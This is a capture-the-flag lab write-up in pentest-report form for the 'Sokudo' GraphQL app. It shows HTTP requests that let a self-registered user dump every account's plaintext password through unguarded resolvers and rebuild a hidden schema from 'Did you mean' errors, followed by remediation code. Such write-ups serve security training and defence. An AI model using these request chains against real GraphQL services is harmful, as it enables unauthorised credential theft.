Sokudo: GraphQL Authorization Bypass via Introspection-Off Field Suggestions
Part 1: Pentest Report
Executive Summary
Sokudo is a React single-page typing application backed by an Express API with a GraphQL endpoint at /api/graphql (graphql-js / Apollo Server). The headline finding is a broken access control defect: the GraphQL users and user(id:) resolvers perform no authorization check, so any authenticated account, including a self-registered non-admin one, can read every user record. Because the User type exposes a selectable password field and those values are stored in cleartext, that single query returns every account’s plaintext credentials, including the administrator’s. The administrator password is the flag.
Testing confirmed 3 findings:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Broken access control on GraphQL users/user resolvers |
Critical | 7.5 | CWE-285, CWE-639 | POST /api/graphql |
| F2 | password selectable in schema and stored in plaintext |
High | 6.5 | CWE-256, CWE-312 | POST /api/graphql |
| F3 | Schema disclosure despite introspection disabled | Low | 4.3 | CWE-200 | POST /api/graphql |
The flag-bearing finding is F1. A throwaway account registered through the open POST /api/register endpoint produced a low-privilege JWT, and a single { users { ... password } } query returned all five accounts. The administrator record (id=1) carried the flag as its password value. The REST equivalent /api/admin/users is correctly restricted to administrators; the GraphQL resolver serving the same data is not, which is the core of the defect.
Objective
Identify and exploit the web application vulnerability in the Sokudo lab (operator hint: GraphQL) and capture the flag.
Scope / Initial Access
# Target Application
URL: https://lab-1781652470323-v6rzkj.labs-app.bugforge.io/
# Auth details
Registration: POST /api/register {username,email,password,full_name} -> {token,user}
Login: POST /api/login {username,password} -> {token,user}
Token: JWT HS256, payload {id, username, iat} (no role claim)
Start state: unauthenticated; registration is open and self-service
Registration is open and returns a signed JWT immediately. The token carries only identity (id, username, iat); it contains no role or privilege claim, so the server resolves a user’s role from the database by id rather than trusting a value in the token.
Reconnaissance: Reading the Front-End Bundle
The application surface was mapped from the React production bundle (main.8990091e.js) and a small set of authenticated probes against the API. The bundle named the GraphQL endpoint and the single operation the front end actually uses, which set the boundary between what the client calls and what the resolver layer exposes.
- The front end talks to a GraphQL endpoint at
POST /api/graphql, and the only operation it issues is alogActivitymutation. Any other query or type in the schema is therefore reachable but unused by the client. - The backend is Express (
X-Powered-By: Express) with a GraphQL layer whose error wording matches graphql-js / Apollo Server. - Two role-gated REST surfaces exist,
/api/admin/usersand/api/admin/sessions, both restricted to administrators. The user data behind/api/admin/usersis the same data the GraphQLusersresolver returns. - The session JWT decodes to
{id, username, iat}with no role claim, indicating server-side role resolution byid. - GraphQL introspection is disabled, but the endpoint still answers field-level queries, so the schema can be probed indirectly.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Express (X-Powered-By: Express) |
| GraphQL | graphql-js / Apollo Server at /api/graphql, introspection disabled |
| Frontend | React single-page app (MUI), bundle main.8990091e.js |
| Auth | JWT HS256, payload {id, username, iat}, no role claim |
| Database | Not directly observable; returns plaintext password values |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
| /api/register | POST | No | Open self-service registration, returns JWT |
| /api/login | POST | No | Returns JWT |
| /api/verify-token | GET | JWT | Returns current user |
| /api/graphql | POST | JWT (any) | Vulnerable resolvers; introspection disabled |
| /api/admin/users | GET | Admin | Restricted REST twin of the GraphQL users resolver |
| /api/admin/sessions | GET | Admin | Restricted |
Known Users
| Username | ID | Role |
|---|---|---|
| admin | 1 | admin |
| speedtyper | 2 | user |
| learner | 3 | user |
| haxor (our account) | 4 | user |
| dt_probe1 | 5 | user |
Attack Chain Visualization
┌─────────────────────┐ ┌─────────────────────┐ ┌─────────────────────┐ ┌─────────────────────┐ ┌─────────────────────┐
│ Recon bundle │ │ Register account │ │ Reconstruct schema │ │ Query users │ │ Read admin pw │
│ /api/graphql in JS │──▶│ open; non-admin JWT │──▶│ suggestion errors │──▶│ non-admin dumps 5 │──▶│ field = flag │
└─────────────────────┘ └─────────────────────┘ └─────────────────────┘ └─────────────────────┘ └─────────────────────┘
Findings
F1: Broken access control on GraphQL users/user resolvers
Severity: Critical
CVSS v3.1: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CWE: CWE-285 (Improper Authorization), CWE-639 (Authorization Bypass Through User-Controlled Key)
Endpoint: POST /api/graphql
Authentication required: Yes (any valid JWT; registration is open and self-service)
Description
The users (list) and user(id: ID!) (single-record) Query resolvers perform no authorization check. Any authenticated account, including a self-registered non-admin one, can read every user record. The equivalent REST endpoint /api/admin/users is restricted to administrators; the GraphQL resolver serving the same data enforces no such restriction. The single-record path user(id: 1) is equally unguarded and returns the same administrator record by direct id lookup.
Impact
Any logged-in user can read every account, including the administrator’s credentials. Full cross-user credential disclosure.
Reproduction
Step 1: Register a throwaway account. The endpoint is open and returns a JWT.
POST /api/register HTTP/1.1
Host: lab-1781652470323-v6rzkj.labs-app.bugforge.io
Content-Type: application/json
{"username":"haxor","email":"[email protected]","password":"password","full_name":""}
Response: 200 OK with {"token":"eyJ...","user":{"id":4,...}}. The token decodes to {"id":4,"username":"haxor","iat":...}, role user.
Step 2: Query the users resolver with the low-privilege token.
POST /api/graphql HTTP/1.1
Host: lab-1781652470323-v6rzkj.labs-app.bugforge.io
Content-Type: application/json
Authorization: Bearer eyJ...
{"query":"{ users { id username email full_name role password } }"}
Response: 200 OK returning all five accounts. Our account is id=4, role user; the response also contains id=1, role admin. Two distinct privilege levels in one response confirm a genuine cross-user read, not a self-read.
{"data":{"users":[
{"id":"1","username":"admin","role":"admin","password":"bug{WGa2tTdVjjwC9XaqgaFS71MEIvX63gNu}"},
{"id":"2","username":"speedtyper","role":"user","password":"password123"},
{"id":"3","username":"learner","role":"user","password":"learner456"},
{"id":"4","username":"haxor","role":"user","password":"password"},
{"id":"5","username":"dt_probe1","role":"user","password":"Passw0rd!23"}
]}}
Step 3 (alternate path, same root cause): the single-record resolver returns the same record by id.
POST /api/graphql HTTP/1.1
Host: lab-1781652470323-v6rzkj.labs-app.bugforge.io
Content-Type: application/json
Authorization: Bearer eyJ...
{"query":"{ user(id: 1) { username role password } }"}
Response: 200 OK returning the administrator record. Confirms the missing authorization check applies to both the list and single-record resolvers.
The administrator’s password value is the flag: bug{WGa2tTdVjjwC9XaqgaFS71MEIvX63gNu}.
Remediation
Fix 1: enforce an authorization check inside the resolver.
// BEFORE (Vulnerable) - no authorization check
const resolvers = {
Query: {
users: async () => db.user.findMany(),
user: async (_, { id }) => db.user.findUnique({ where: { id } }),
},
};
// AFTER (Secure) - require an authenticated admin context
const requireAdmin = (ctx) => {
if (!ctx.user) throw new GraphQLError('Authentication required', { extensions: { code: 'UNAUTHENTICATED' } });
if (ctx.user.role !== 'admin') throw new GraphQLError('Forbidden', { extensions: { code: 'FORBIDDEN' } });
};
const resolvers = {
Query: {
users: async (_, __, ctx) => { requireAdmin(ctx); return db.user.findMany(); },
user: async (_, { id }, ctx) => {
if (!ctx.user) throw new GraphQLError('Authentication required', { extensions: { code: 'UNAUTHENTICATED' } });
// a user may read only their own record unless they are an admin
if (ctx.user.role !== 'admin' && String(ctx.user.id) !== String(id)) {
throw new GraphQLError('Forbidden', { extensions: { code: 'FORBIDDEN' } });
}
return db.user.findUnique({ where: { id } });
},
},
};
Additional recommendations:
- Apply the same authorization rule to every resolver that returns user records, not just
users. The REST and GraphQL layers enforce access control independently; a rule added to one does not cover the other. - Consider field-level authorization so sensitive fields stay gated even when a record is legitimately returned (see F2).
F2: password selectable in schema and stored in plaintext
Severity: High
CVSS v3.1: 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
CWE: CWE-256 (Plaintext Storage of a Password), CWE-312 (Cleartext Storage of Sensitive Information)
Endpoint: POST /api/graphql (User type)
Authentication required: Yes
Description
Two compounding defects:
passwordis a selectable field on the GraphQLUsertype. A password field should never be exposed in the schema or returned by any resolver.- The returned password values are plaintext, not hashes. This is evidenced by a round-trip: the
haxoraccount was registered with the literal passwordpassword, and theusersresponse returnedpasswordbyte-identical forid=4. The other values (password123,learner456,Passw0rd!23) match no hash format. The values are stored in cleartext, not hashed at rest.
Impact
Cleartext exposure of every account’s credentials, including the administrator’s.
Reproduction
This finding is observed in the same response as F1. Selecting password on the User type resolves a value per user with no error or null:
POST /api/graphql HTTP/1.1
Host: lab-1781652470323-v6rzkj.labs-app.bugforge.io
Content-Type: application/json
Authorization: Bearer eyJ...
{"query":"{ users { username password } }"}
Response: each user object carries a password string. The account registered with password returns password unchanged, confirming no hashing at rest.
Remediation
Fix 1: remove password from the GraphQL schema entirely.
# BEFORE (Vulnerable)
type User {
id: ID!
username: String
email: String
full_name: String
role: String
password: String # sensitive field should never be selectable
}
# AFTER (Secure)
type User {
id: ID!
username: String
email: String
full_name: String
role: String
}
Fix 2: hash passwords at rest and never map them into a response object.
// BEFORE (Vulnerable) - plaintext at rest
await db.user.create({ data: { username, email, password } });
// AFTER (Secure) - salted hash, never returned to clients
const passwordHash = await bcrypt.hash(password, 12);
await db.user.create({ data: { username, email, passwordHash } });
Additional recommendations:
- Store only a salted hash (bcrypt or argon2) and keep it out of every serialized API object.
- If a credential value was ever exposed, treat all accounts as compromised and force a reset.
F3: GraphQL schema disclosure despite introspection disabled
Severity: Low
CVSS v3.1: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)
CWE: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor)
Endpoint: POST /api/graphql
Authentication required: Yes
Description
Introspection is disabled: a { __schema ... } query is rejected with the graphql-js NoIntrospection error (“GraphQL introspection has been disabled, but the requested query contained the field __schema”). However, graphql-js field-suggestion error messages (“Did you mean …?”) leak real field and query names in response to near-miss guesses. The full schema was reconstructed without introspection: Query.users, Query.user(id: ID!), Query.activityLogs, and User.{id, username, email, full_name, role, password}.
Impact
An attacker can map the API surface even with introspection disabled. No direct data access on its own.
Reproduction
Step 1: confirm introspection is off.
POST /api/graphql HTTP/1.1
Host: lab-1781652470323-v6rzkj.labs-app.bugforge.io
Content-Type: application/json
Authorization: Bearer eyJ...
{"query":"{ __schema { types { name } } }"}
Response: error “GraphQL introspection has been disabled…”.
Step 2: harvest field names from suggestion errors.
POST /api/graphql HTTP/1.1
Host: lab-1781652470323-v6rzkj.labs-app.bugforge.io
Content-Type: application/json
Authorization: Bearer eyJ...
{"query":"{ activity { id } }"}
Response: error containing Did you mean "activityLogs"?. Repeating with near-miss guesses recovers users, user, and the User fields (passwrd resolves to password, roles to role, fullname to full_name or username).
Remediation
Fix 1: strip field suggestions from error messages in production.
// BEFORE (Vulnerable) - default graphql-js suggestions leak field names
const server = new ApolloServer({ typeDefs, resolvers });
// AFTER (Secure) - remove "Did you mean" hints from client-facing errors
const server = new ApolloServer({
typeDefs,
resolvers,
formatError: (formattedError) => {
if (/Did you mean/.test(formattedError.message)) {
return { ...formattedError, message: 'Bad Request' };
}
return formattedError;
},
});
Additional recommendations:
- Disabling introspection hides the manual, not the data. The decisive fix is the resolver authorization in F1; schema obfuscation only raises the cost of mapping the API.
- Consider a validation plugin (for example Apollo Armor) that blocks field suggestions and limits query depth and complexity.
OWASP Top 10 Coverage
- A01:2021 Broken Access Control: the GraphQL
usersanduser(id:)resolvers return records to any authenticated user with no role check, while the REST twin/api/admin/usersis restricted (F1). - A02:2021 Cryptographic Failures: passwords are stored and returned in cleartext rather than hashed (F2).
- A04:2021 Insecure Design: exposing a selectable
passwordfield on theUsertype is a schema-design flaw independent of any authorization gap (F2). - A05:2021 Security Misconfiguration: introspection is disabled but field suggestions remain on, leaking the schema (F3).
Tools Used
| Tool | Purpose |
|---|---|
| Caido | Proxy, request capture, and Replay for resolver queries |
| Browser dev tools | Reading the React production bundle |
| JWT decoder | Inspecting the session JWT payload |
| curl | Sending raw GraphQL queries |
References
- CWE-285 Improper Authorization: https://cwe.mitre.org/data/definitions/285.html
- CWE-639 Authorization Bypass Through User-Controlled Key: https://cwe.mitre.org/data/definitions/639.html
- CWE-256 Plaintext Storage of a Password: https://cwe.mitre.org/data/definitions/256.html
- CWE-312 Cleartext Storage of Sensitive Information: https://cwe.mitre.org/data/definitions/312.html
- CWE-200 Exposure of Sensitive Information to an Unauthorized Actor: https://cwe.mitre.org/data/definitions/200.html
- OWASP API Security Top 10: API1 Broken Object Level Authorization, API3 Broken Object Property Level Authorization
Part 2: Notes / Knowledge
Key Learnings
-
When GraphQL introspection is disabled, reconstruct the schema offline from field-suggestion errors; do not conclude the endpoint is hardened. Disabling introspection removes the schema manual, not the underlying data. graphql-js and Apollo answer a misspelled field with a “Did you mean …?” suggestion computed from the real schema, so near-miss guesses leak the genuine names. On this target a
{ __schema }query was rejected, yet sending{ activity { id } },{ users { passwrd } }, and similar guesses rebuilt the whole schema (Query.users,user(id: ID!), and theUserfields includingpassword) with no introspection at all. Treat an introspection-off endpoint as a starting point for offline reconstruction, not a hardened one, and seed guesses close to likely names: plural and singular variants, camelCase and snake_case. -
Test GraphQL resolvers with a low-privilege token, and test the GraphQL path even when the REST twin is admin-gated. REST middleware authorization and GraphQL resolver authorization are separate enforcement layers, and the resolver often skips the role check the REST route has. Always exercise the GraphQL path even when the matching REST endpoint is restricted to administrators, and do it with a low-privilege token rather than only unauthenticated. An unauthenticated 401 means the endpoint needs a token, not that it is secured. Here the admin-gated
/api/admin/userslooked locked down, but a self-registered non-admin token drove{ users { ... password } }to a full dump. A selectablepassword,secret,token, orrolefield is a finding on sight, independent of any authorization gap. -
When a JWT carries no role/privilege claim, skip role-forge and attack the server-side authorization lookup instead. When the session JWT carries only identity (
{id, username, iat}) and no role, isAdmin, or scope claim, there is nothing to forge for privilege. Skipalg=none, role-tampering, and key-cracking aimed at escalation; the server resolves the role from the database by id, so the trust boundary is the server-side lookup, not the token. On this target that ruled out JWT forgery in seconds and pointed straight at the resolver authorization, which is where the actual defect was. Decode the token first: no privilege claim means the privilege decision lives server-side, so attack the endpoint and resolver checks (missing authorization, IDOR) instead.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
| JWT forgery for role escalation | No role claim to modify | The token holds only {id, username, iat}; the server resolves role from the database by id, so there is no privilege claim to tamper with |
| Re-enabling or bypassing introspection | Unnecessary detour | Field-suggestion errors already reconstruct the schema, so defeating the NoIntrospection rule adds nothing |
| OPTIONS / verb-matrix probing | Uniform preflight across all routes | Global CORS echoes the same methods on every route; no per-route divergence to exploit |
| activityLogs resolver | Benign | Returns only the telemetry the front end already writes via logActivity; no sensitive or cross-user data |
Tags: #graphql #broken-access-control #idor #introspection-bypass #plaintext-credentials #bugforge
Document Version: 1.0
Last Updated: 2026-06-17